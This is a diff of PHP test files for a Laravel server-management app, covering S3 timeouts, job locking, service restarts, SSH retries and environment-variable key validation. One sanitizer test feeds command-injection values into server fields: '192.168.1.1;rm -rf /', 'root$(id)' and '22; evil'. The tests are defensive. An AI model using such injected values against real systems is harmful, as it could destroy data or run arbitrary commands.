'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
]);
$s3Storage->testConnection();
expect($s3Storage->is_usable)->toBeTrue();
});
test('S3Storage connection validation returns friendly timeout error', function () {
$disk = Mockery::mock();
$disk->expects('files')
->once()
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
Storage::expects('build')->once()->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
'unusable_email_sent' => true,
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
expect($s3Storage->is_usable)->toBeFalse();
});
@@ -2,6 +2,9 @@
use App\Jobs\ScheduledJobManager;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Tests\TestCase;
uses(TestCase::class);
it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks', function () {
$job = new ScheduledJobManager;
@@ -0,0 +1,36 @@
<?php
use App\Actions\Service\RestartService;
use App\Actions\Service\StartService;
use App\Actions\Service\StopService;
use App\Models\Service;
it('does not stop a service before pulling latest images', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
});
it('still stops a service before a regular restart', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
});
it('routes service restart actions through start service with deferred stop semantics', function () {
$service = Mockery::mock(Service::class);
$stopService = Mockery::mock(StopService::class);
$stopService->shouldNotReceive('handle');
app()->instance(StopService::class, $stopService);
$startService = Mockery::mock(StartService::class);
$startService->shouldReceive('handle')
->once()
->with($service, true, true)
->andReturn('restart queued');
app()->instance(StartService::class, $startService);
expect(RestartService::run($service, true))->toBe('restart queued');
});
+15 -3
View File
@@ -1,6 +1,7 @@
<?php
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use App\Rules\ValidHostname;
use App\Rules\ValidServerIp;
@@ -57,20 +58,20 @@ it('rejects injection payloads in server ip', function (string $payload) {
// -------------------------------------------------------------------------
it('strips dangerous characters from server ip on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->ip = '192.168.1.1;rm -rf /';
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
expect($server->ip)->toBe('192.168.1.1rm-rf');
});
it('strips dangerous characters from server user on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->user = 'root$(id)';
expect($server->user)->toBe('rootid');
});
it('strips non-numeric characters from server port on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->port = '22; evil';
expect($server->port)->toBe(22);
});
@@ -102,6 +103,17 @@ it('has no raw user@ip string interpolation in SshMultiplexingHelper', function
expect($source)->not->toContain('{$server->user}@{$server->ip}');
});
it('escapes scp source and destination operands', function () {
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
$source = file_get_contents($reflection->getFileName());
expect($source)
->toContain('escapeshellarg($source)')
->toContain('escapeshellarg($dest)')
->not->toContain('"{$source} "')
->not->toContain('":{$dest}"');
});
// -------------------------------------------------------------------------
// ValidHostname rejects shell metacharacters
// -------------------------------------------------------------------------
+46 -2
View File
@@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase
{
public function test_ssh_retry_handler_exists()
{
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
$this->assertTrue(class_exists(SshRetryHandler::class));
}
public function test_ssh_retryable_trait_exists()
{
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
$this->assertTrue(trait_exists(SshRetryable::class));
}
public function test_retry_on_ssh_connection_errors()
@@ -50,6 +50,24 @@ class SshRetryMechanismTest extends TestCase
}
}
public function test_generic_ssh_exit_255_error_is_retryable()
{
$handler = new class
{
use SshRetryable;
// Make methods public for testing
public function test_is_retryable_ssh_error($error)
{
return $this->isRetryableSshError($error);
}
};
$this->assertTrue(
$handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255')
);
}
public function test_non_ssh_errors_are_not_retryable()
{
$handler = new class
@@ -141,6 +159,32 @@ class SshRetryMechanismTest extends TestCase
$this->assertEquals(3, $attemptCount);
}
public function test_retry_succeeds_after_generic_ssh_exit_255_failure()
{
$attemptCount = 0;
config([
'constants.ssh.max_retries' => 3,
'constants.ssh.retry_base_delay' => 0,
]);
$result = SshRetryHandler::retry(
function () use (&$attemptCount) {
$attemptCount++;
if ($attemptCount === 1) {
throw new \RuntimeException('SSH command failed with exit code: 255');
}
return 'success';
},
['test' => 'generic_ssh_255_retry_test'],
true
);
$this->assertEquals('success', $result);
$this->assertEquals(2, $attemptCount);
}
public function test_retry_fails_after_max_attempts()
{
$attemptCount = 0;
+43
View File
@@ -1,5 +1,6 @@
<?php
use App\Models\EnvironmentVariable;
use App\Support\ValidationPatterns;
it('accepts valid names with common characters', function (string $name) {
@@ -130,3 +131,45 @@ it('generates nullable dockerNetworkRules when not required', function () {
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('accepts Docker-compatible environment variable keys', function (string $key) {
expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeTrue();
})->with([
'letters' => 'APP_ENV',
'leading underscore' => '_TOKEN',
'railpack control variable' => 'RAILPACK_NODE_VERSION',
'digits after first character' => 'NODE_VERSION_20',
'starts with digit' => '1BAD',
'hyphen' => 'BAD-KEY',
'dot' => 'node.name',
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
'semicolon' => 'BAD;KEY',
'space' => 'BAD KEY',
]);
it('rejects environment variable keys Docker cannot represent', function (string $key) {
expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeFalse();
})->with([
'equals' => 'BAD=KEY',
'empty' => '',
]);
it('generates environment variable key rules with correct defaults', function () {
$rules = ValidationPatterns::environmentVariableKeyRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::ENVIRONMENT_VARIABLE_KEY_PATTERN);
});
it('normalizes environment variable keys by trimming surrounding whitespace', function () {
expect(ValidationPatterns::normalizeEnvironmentVariableKey(' node.name '))->toBe('node.name');
});
it('normalizes environment variable keys before model validation', function () {
$environmentVariable = new EnvironmentVariable;
$environmentVariable->key = ' APP_ENV ';
expect($environmentVariable->key)->toBe('APP_ENV');
});